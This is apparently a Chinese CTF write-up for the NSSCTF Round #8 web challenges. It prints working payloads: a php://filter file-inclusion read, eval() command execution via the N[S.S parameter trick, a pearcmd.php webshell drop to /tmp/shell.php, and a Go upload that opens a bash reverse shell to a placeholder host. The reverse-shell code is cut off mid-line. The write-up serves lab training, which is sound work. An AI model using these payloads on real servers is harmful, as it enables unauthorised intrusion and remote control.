[NSSCTF Round #8]——web专项赛wp

文章详细介绍了多个网络安全挑战的解决方案,包括利用PHP的错误报告和文件包含漏洞执行命令,通过Go语言文件上传实现反弹shell,以及利用Node.js的原型链污染漏洞读取flag。每个挑战都涉及特定的漏洞利用技巧和代码构造,强调了网络安全和代码审查的重要性。

MyDoor

1683683063576

上来什么也没有,用php伪协议读取index.php中的内容,构造payload:

http://node2.anna.nssctf.cn:28803/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到源码:

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
   
   
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
   
   
    header('Location:/index.php?file=');
} else {
   
   
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
   
   
        include $file;
    } else {
   
   
        die('error.');
    }
}

说明我们要传入一个名为N_S.S的变量进行命令执行或者利用file变量进行文件包含

file变量过滤了大部分伪协议,所以要利用N_S.S构造payload:

这里涉及到PHP非法传参:

根据php解析特性,如果字符串中存在[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造nss_ctfer.vip的话,最后php执行的是nss_ctfer_vip,因此我们将前面的_[代替

PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

http://node2.anna.nssctf.cn:28803/index.php?N[S.S=system('ls /');

看了看根目录,没有啥东西,看一下phpinfo

http://node2.anna.nssctf.cn:28803/index.php?N[S.S=phpinfo();

1683683433774

得到flag

MyPage

一开始打算用data协议,或者filter协议进行内容读取,但是好像都被ban掉了,上网查了查资料,要利用对pearcmd.php文件进行调用,然后利用pear命令,构造payload:

?file=?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['Leaf']);?>+/tmp/shell.php

1683692685114

传入成功,现在/tmp目录下就有个shell.php文件,里面的内容是<?=@eval($_POST['Leaf']);?>,利用我们的一句话木马读取flag

1683692955106

扫描当前目录可以看到有/flag.php读取获得flag,

1683693501161

这里面的system(“cat flag.php”)需要用双引号,用单引号无法显示flag

看phpinfo也可以

Upload_gogoggo

go语言文件上传,他说没有过滤,暂且信他一手,上网查了一下go文件上传

并且这道题在上传后会执行go加上文件名.之前的字符串的命令,并且是对你上传的文件进行执行的

上传文件名为shell.go,那么就会执行go run shell.go,这样会执行go里的代码

以下是通过go文件上传来进行反弹shell的代码:

package main

import (
	"fmt"
	"log"
	"os/exec"
)

func main() {
   
   
	cmd := exec.Command("/bin/bash", "-c", "bash -i &> /ip/port 0>&1")
	out, err := cmd.CombinedOutput()
	if err != nil {
   
   
		fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值